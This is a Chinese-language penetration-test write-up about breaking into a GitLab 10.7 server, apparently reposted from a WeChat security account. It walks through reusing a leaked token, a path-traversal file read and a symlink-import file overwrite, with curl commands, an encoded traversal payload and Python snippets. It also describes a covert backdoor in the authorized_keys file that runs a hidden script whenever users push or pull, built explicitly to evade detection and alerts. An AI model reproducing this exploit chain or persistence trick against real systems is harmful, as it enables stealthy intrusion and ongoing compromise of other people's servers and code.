端口扫描
nmap过了一遍,开了三个端口:
80的gitlab
22的SSH
8000的目录遍历
从8000端口的目录遍历获取到gitlab数据库的一个备份文件,很不幸的是这个备份文件是3年前的备份
突破点
翻备份文件获取到的信息有如下:
-
登陆用户名
-
登陆密码的hash值
-
一堆提交的log
到这个时候是两个思路:
-
把gitlab的密码生成方式拿出来,然后弱密码跑一遍
-
再看看其他的
如果要达成第一条,需要过一下gitlab的密码生成流程,ruby不会,作为最后的方式再说。
authentication_token
在翻了N个gitlab的漏洞分析之后,在https://paper.seebug.org/104/文章里面找到authentication_token可以访问接口,尝试使用数据库里面的token测试成功。
Getshell
先确定gitlab的版本号:10.7.X
根据版本号在gitlab官方的issue里面翻到两处漏洞。
任意文件读取: https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
任意文件写入: https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
如果单是GetShell的话,用文件写入把ssh的公钥写到对应的目录,然后ssh登陆就可以了。
但是这样子就会造成两个问题:
-
对方用户使用git更新代码的时候就GG。
-
异地登陆SSH服务器会报警。
所以这个作为备用方案尝试。
gitlab的提交更新的时候,是先ssh认证,然后再执行gitlab命令,公钥的位置一般是固定的:/var/opt/gitlab/.ssh/authorized_keys
,这个可以从gitlab的公钥可以很明显的看出来:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
所以可以利用任意文件写入漏洞,把这个公钥全部改一遍,流程是这样的:
-
任意文件读取获取公钥的全部内容
-
把后门加上去,任意文件写入覆盖公钥,但是必须保证不能影响正常功能,这样用户提交代码之后就会触发后门。
公钥类似这样子:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
这里的gitlab.sh是用户push或者pull会触发执行,必须gitlab.sh脚本执行没有输出,不能阻塞。
-
输出会影响正常使用功能
-
反弹会阻塞正常功能使用
再回头说一下这两个漏洞,测试之前可以用docker本地测一下,docker文件如下:
web:
image: 'gitlab/gitlab-ce:10.7.3-ce.0'
restart: always
hostname: '127.0.0.1'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'
ports:
- '80:80'
- '50443:443'
- '22:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
docker设置密码
docker启动之后,设置用户的密码:
gitlab-ctl reconfigure
gitlab-ctl restart
重置密码:
root 用户登录服务器,一定要是 root
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save
l 查看数据库
dt 查看表
di 看索引
c <db> 连接某个db
Directory traversal with GitignoreTemplate API
检测这个漏洞很简单,POC:
127.0.0.1:5080/api/v4/templates/gitignores/%2e%2e%2fPython%2ea
然后我们拿Token来测试一下任意文件读取:
先建好数据包,然后打包
tar zcf vuln.tar.gz *
为了避免被发现,可以使用api接口来操作:
新建项目:
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import
导入项目(爆绝对路径):
curl --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70/import
删除项目:
curl --request DELETE --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70
任意文件读取
PAYLOAD=$(echo "../../../public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|.|%2e|g' | sed 's|/|%2f|g')
curl http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq
注意事项:
-
如果使用
tar zcf vuln.tar.gz ./*
会失败 -
uploads目录权限555,防止gitlab删除符号链接
-
project.json为空也是某的问题。
-
对于没有权限的文件,比如读取/root/.bash_history会出现500的message信息
-
可以读取多个,但是需要保证每个需要读取的文件有权限。
-
上传压缩包之后可以删除项目文件,软连接依旧存在
-
不存在的文件会显示404,二进制文件会显示500的message
任意文件覆盖漏洞
影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7
https://xz.aliyun.com/t/2661
https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
https://gitlab.com/gitlab-org/gitlab-foss/issues/41757
建立一个文件名里面有换行符的软连接:
import os
os.symlink("/var/opt/gitlab", ".nevil")
创建完了之后上传,成功导入项目之后Remove Project
,此时在gitlab里面会保存这个软连接。然后构造第二个压缩包:
import os
os.makedirs(".nevil")
创建一个包含换行符的目录,然后在改目录下创建要写入的文件夹以及文件
步骤:
-
创建完第一个文件夹之后,软连接到根目录
-
然后使用第二个压缩包把要写入的文件写到对应的目录里面即可,详细的内容可以看chybeta师傅的的复现步骤: https://xz.aliyun.com/t/2661
END:
gitlab备份文件,使用以下命令
sudo gitlab-rake gitlab:backup:create
原文始发于微信公众号(Ots安全):记一次测试gitlab
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论